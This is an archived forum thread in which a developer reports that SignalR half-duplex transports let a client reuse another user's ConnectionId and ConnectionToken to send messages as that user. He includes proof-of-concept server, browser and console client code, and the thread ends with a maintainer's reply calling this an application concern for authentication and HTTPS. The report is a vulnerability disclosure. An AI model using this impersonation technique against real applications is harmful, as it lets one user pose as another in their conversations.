locked
Security Issue: Misusing send channels in half-duplex transports RRS feed

  • Question

  • User-1140791523 posted

    In half-duplex transports where a distinct request is required for sending messages to server, a client can impose ConnectionId and ConnectionToken of another user to its own connection, and sends messages in place of another legitimate user to server.

    Sample program to test the issue:

    Server: ASP.NET Empty Web Application + PersistentConnection

    public class EchoConnection : PersistentConnection
    {
       protected override Task OnReceived(IRequest request, string connectionId, string data)
       {
          return Connection.Send(connectionId, data);
       }
    }

    Startup class:

    public class Startup
    {
       public void Configuration(IAppBuilder app)
       {
          app.MapSignalR<EchoConnection>("/echo");
       }
    }

    Client 1: HTML page in the same ASP.NET Web Application as the server

    <!DOCTYPE html>
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
        <title></title>
        <style type="text/css">
            body, td, th, input {
                font-family: Tahoma;
                font-size: 12px;
            }
    
            #content {
                border: 1px solid black;
                overflow-y: auto;
                width: 700px;
                height: 350px;
                padding: 5px;
            }
            #content p {
                margin-top: 5px;
            }
        </style>
    
    </head>
    <body>
        <h2>Tampering with Persistent Connection</h2>
        <table>
            <tr>
                <td><label>ConnectionId:</label></td>
                <td><input type="text" id="connid" size="40" /></td>
            </tr>
            <tr>
                <td><label>ConnectionToken:</label></td>
                <td><textarea id="conntoken" cols="70" rows="4"></textarea></td>
            </tr>
        </table>
        <input type="button" id="send" value=" Send " />
        <input type="button" id="clear" value=" Clear " />
        <input type="button" id="show" value=" Show " />
        <input type="button" id="clean" value=" Clean " />
        <input type="button" id="fill" value=" Fill " />
        <input type="button" id="restore" value=" Restore " />
        <input type="button" id="switch" value=" Switch " /><br /><br />
        <div id="content"></div>
        <script src="Scripts/jquery-1.6.4.min.js"></script>
        <script src="Scripts/jquery.signalR-2.2.0.js"></script>
        <script type="text/javascript">
            var originalConnectionId;
            var originalConnectionToken;
            var newConnectionId;
            var newConnectionToken;
    
            function Log(msg) {
                $("#content").append("<p>" + msg + "</p>");
            }
            var conn = $.connection("/echo");
            conn.error(function (err) {
                Log(err.message);
            });
            conn.disconnected(function () {
                Log("connection stopped.");
            });
            conn.received(function (data) {
                Log("received: " + data);
            });
            conn.start(function () {
                Log("connected.");
                originalConnectionId = conn.id;
                originalConnectionToken = conn.token;
            });
            $("#send").click(function () {
                var cid = $("#connid").val();
                var token = $("#conntoken").val();
                if (cid && token) {
                    if (cid) {
                        newConnectionId = cid;
                        conn.id = cid;
                    }
                    if (token) {
                        newConnectionToken = token;
                        conn.token = token;
                    }
                } else {
                    var msg = "using ";
                    if (!cid)
                        msg += "original connection id";
                    if (!token)
                        msg += " and original connection token";
                    Log(msg);
                }
                Log("sending 'Hello from javascript'");
                conn.send("Hello from javascript");
            });
            $("#clear").click(function () {
                $("#content").html("");
            });
            $("#show").click(function () {
                Log("ConnectionId: " + conn.id + "<br/>ConnectionToken:<br/>" + conn.token);
            });
            $("#clean").click(function () {
                $("#connid").val("");
                $("#conntoken").val("");
            });
            $("#fill").click(function () {
                $("#connid").val(conn.id);
                $("#conntoken").val(conn.token);
            });
            $("#restore").click(function () {
                conn.id = originalConnectionId;
                conn.token = originalConnectionToken;
                Log("original connection id and token were restored.")
                $("#clean").click();
            });
            $("#switch").click(function () {
                if (newConnectionId && newConnectionToken) {
                    conn.id = newConnectionId;
                    conn.token = newConnectionToken;
                    $("#connid").val(newConnectionId);
                    $("#conntoken").val(newConnectionToken);
                } else {
                    if (!newConnectionId)
                        Log("no new connection id is specified.");
                    if (!newConnectionToken)
                        Log("no new connection token is specified.");
                }
            });
        </script>
    </body>
    </html>
    

    Client 2: Console Application

    class Program
    {
       static void Main()
       {
          var conn = new Connection("http://localhost:12642/echo"); // change port number here based on your own system
          conn.Received += data =>
             {
                Console.WriteLine("\nReceived: " + data);
             };
          var t = conn.Start();
          t.Wait();
    
          Console.WriteLine("connected");
    
          string originalConnectionId = conn.ConnectionId;
          string originalConnectionToken = conn.ConnectionToken;
          string newConnectionId = "";
          string newConnectionToken = "";
    
          string option = "1";
          while (option != "9")
          {
             if (option == "1" || option == "")
             {
                Console.WriteLine("1. Menu");
                Console.WriteLine("2. Set connectionId");
                Console.WriteLine("3. Set connectionToken");
                Console.WriteLine("4. Send sample message");
                Console.WriteLine("5. Show");
                Console.WriteLine("6. Clear");
                Console.WriteLine("7. Restore");
                Console.WriteLine("8. Switch");
                Console.WriteLine("9. Exit");
             }
             else if (option == "2")
             {
                Console.Write("Enter connection id: ");
                conn.ConnectionId = Console.ReadLine();
             }
             else if (option == "3")
             {
                Console.Write("Enter connection token: ");
                conn.ConnectionToken = Console.ReadLine();
             }
             else if (option == "4")
             {
                Console.WriteLine("Sending 'Hello from console'");
                conn.Send("Hello from console");
             }
             else if (option == "5")
             {
                Console.WriteLine("Id: " + conn.ConnectionId + "\nToken:\n" + conn.ConnectionToken + "\n");
             }
             else if (option == "6")
             {
                Console.Clear();
             }
             else if (option == "7")
             {
                conn.ConnectionId = originalConnectionId;
                conn.ConnectionToken = originalConnectionToken;
                Console.WriteLine("Original connection id and token restored.");
             }
             else if (option == "8")
             {
                if (!string.IsNullOrEmpty(newConnectionId) && !string.IsNullOrEmpty(newConnectionToken))
                {
                   conn.ConnectionId = newConnectionId;
                   conn.ConnectionToken = newConnectionToken;
                }
                else
                {
                   if (string.IsNullOrEmpty(newConnectionId))
                   {
                      Console.WriteLine("no new connection id specified.");
                   }
                   if (string.IsNullOrEmpty(newConnectionToken))
                   {
                      Console.WriteLine("no new connection token specified.");
                   }
                }
             }
    
             Console.Write("\nChoose an option (enter = menu, 9 = exit): ");
             option = Console.ReadLine().Trim();
             Console.WriteLine();
          }
       }
    }

    Just pass the ConnectionId and ConnectionToken from one of the clients to the other one and use the 'Send' option to send a sample message. You will see that the server sends the messages to that other user you have imposed its ConnectionId and ConnectionToken to your client, instead of your client.

    The reason this happens is that, in half-duplex transports, the server is unable to distinguish whether the current request is really made by the legitimate client who owns the connectionId and token plugged in the request or not. So, it completely accepts it. The consequence of this issue is that, a user can send requests in place of another user. If the application is a chat program, he can send messages in place of the others!

    I think this is more than a bug. It is a security exploit.

    Wednesday, March 25, 2015 2:14 PM

Answers

  • User-1140791523 posted

    This is the result of the discussion I had with SignalR people in github regarding this issue. I thought I'd better to post the result here for anyone who likes to know what should he do to prevent misusing send channels.

    I'm almost convinced with what they said. We cannot see this an issue of the framework. Because cookies are exchanged between a client and a server in the same way, i.e. publicly visible. If someone needs more security, he should use SSL for their connection. If not, you should authenticate users.

    This is what Damian Edwards said:

    That type of message protection is an app concern, not framework. You need to think of SignalR as more like a TCP socket. We don't due messaging guarantees like reliability, idempotency, single delivery, etc. The connection token is used to ensure you can't just attempt to guess a connection ID and connect to the server using it. You have to actually get a valid connection ID and connection token together. This is no different to a session cookie. If your application needs to validate the identity of the person on the other side of the connection, then you need to do authentication. If you want to protect the connection from snooping and replay, you need to secure the channel using HTTPS.

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Thursday, March 26, 2015 11:04 PM

All replies

  • User1711366110 posted

    Hi mansoor,
          It seems this issue is more regarding SignalR, Its a open source. 
    I found that you posted to the corresponding github forum already :
    https://github.com/SignalR/SignalR/issues/3434
    There are related technical experts who will help you better.
    Have a good luck..Thanks for your understanding.

    --
    with regards,
    Edwin

    Thursday, March 26, 2015 3:50 AM
  • User-1140791523 posted

    Hi Edwin

    Thank you.

    This might be a little funny, but I post the same article here because the editor in github does not highlight codes properly, or I don't know how to use it!

    Regards,

    Mansoor

    Thursday, March 26, 2015 8:10 AM
  • User-1140791523 posted

    This is the result of the discussion I had with SignalR people in github regarding this issue. I thought I'd better to post the result here for anyone who likes to know what should he do to prevent misusing send channels.

    I'm almost convinced with what they said. We cannot see this an issue of the framework. Because cookies are exchanged between a client and a server in the same way, i.e. publicly visible. If someone needs more security, he should use SSL for their connection. If not, you should authenticate users.

    This is what Damian Edwards said:

    That type of message protection is an app concern, not framework. You need to think of SignalR as more like a TCP socket. We don't due messaging guarantees like reliability, idempotency, single delivery, etc. The connection token is used to ensure you can't just attempt to guess a connection ID and connect to the server using it. You have to actually get a valid connection ID and connection token together. This is no different to a session cookie. If your application needs to validate the identity of the person on the other side of the connection, then you need to do authentication. If you want to protect the connection from snooping and replay, you need to secure the channel using HTTPS.

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Thursday, March 26, 2015 11:04 PM
  • User1711366110 posted

    Hi mansoor,
      Thanks for shared the results here which may help to other viewers..

    Friday, March 27, 2015 1:02 AM